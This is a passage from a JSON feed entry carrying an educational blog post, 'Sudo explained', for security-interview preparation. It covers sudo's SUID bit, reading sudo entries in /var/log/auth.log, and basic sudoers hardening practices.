codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">$ </span><span class=\"token function\" style=\"color:#d73a49\">ls</span><span class=\"token plain\"> </span><span class=\"token parameter variable\" style=\"color:#36acaa\">-l</span><span class=\"token plain\"> /usr/bin/sudo</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">-rwsr-xr-x </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token plain\"> root root </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">size</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">date</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> usr/bin/sudo</span><br></div></code></pre></div></div>\n<p>That curious '<code>s</code>' is the SUID (Set User ID) bit. With this flag in permissions, a program runs with privileges of its owner regardless of the invoking user. In this respect, sudo is always executed by root and therefore can access the protected files such <code>/etc/sudoers</code> or <code>/etc/shadow</code>.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"did-you-know\">Did you know?<a href=\"https://eliasa.link/blog/sudo-explained/#did-you-know\" class=\"hash-link\" aria-label=\"Direct link to Did you know?\" title=\"Direct link to Did you know?\" translate=\"no\">​</a></h3>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p><code>sudo</code> is not a proprietary OS utility; it's an open-source and continuously updated program. A look at its repository reveals consistent updates, under the dedicated supervision of Todd C. Miller. As of now, the latest stable version is <code>1.9.17p2</code>, released on <code>July 26, 2025</code>. More info on the <a href=\"https://www.sudo.ws/repos/sudo\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">official site</a>.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"logging-for-sudo\">Logging for sudo<a href=\"https://eliasa.link/blog/sudo-explained/#logging-for-sudo\" class=\"hash-link\" aria-label=\"Direct link to Logging for sudo\" title=\"Direct link to Logging for sudo\" translate=\"no\">​</a></h3>\n<p>Every time <em>sudo</em> is invoked, it leaves a trail. These logs provide valuable insights, especially when auditing system access or investigating potential breaches. For Debian/Ubuntu you can see the logs in <code>/var/log/auth.log</code> file. To filter out the noise, use the <em>grep</em> command:</p>\n<div class=\"language-bash codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token function\" style=\"color:#d73a49\">grep</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">sudo</span><span class=\"token plain\"> /var/log/auth.log</span><br></div></code></pre></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"in-conclusion\">In Conclusion<a href=\"https://eliasa.link/blog/sudo-explained/#in-conclusion\" class=\"hash-link\" aria-label=\"Direct link to In Conclusion\" title=\"Direct link to In Conclusion\" translate=\"no\">​</a></h2>\n<p>When preparing for a SOC or Cyber Security Engineer interview, understand that <em>sudo</em> is a <em>Set User ID</em> binary program that is always executed by root user.</p>\n<p>Essential practices include:</p>\n<ol>\n<li class=\"\">Control the <em>sudoers</em> file to ensure it follows the principle of least privilege.</li>\n<li class=\"\">Limit user commands in <em>sudoers</em> to minimize potential damage in case some of your accounts get compromised.</li>\n<li class=\"\">Consider monitoring <em>sudo</em> logs.</li>\n<li class=\"\">Have an incident response plan in case of <em>sudo</em> misuse or compromise.</li>\n<li class=\"\">Keep <em>sudo</em> updated to protect against known vulnerabilities.</li>\n</ol>",
            "url": "https://eliasa.link/blog/sudo-explained/",
            "title": "Sudo explained",
            "summary": "What is sudo and how does it work?",
            "date_modified": "2023-11-01T00:00:00.000Z",
            "tags": [
                "linux",
                "permissions",
                "interview"
            ]
        }
    ]
}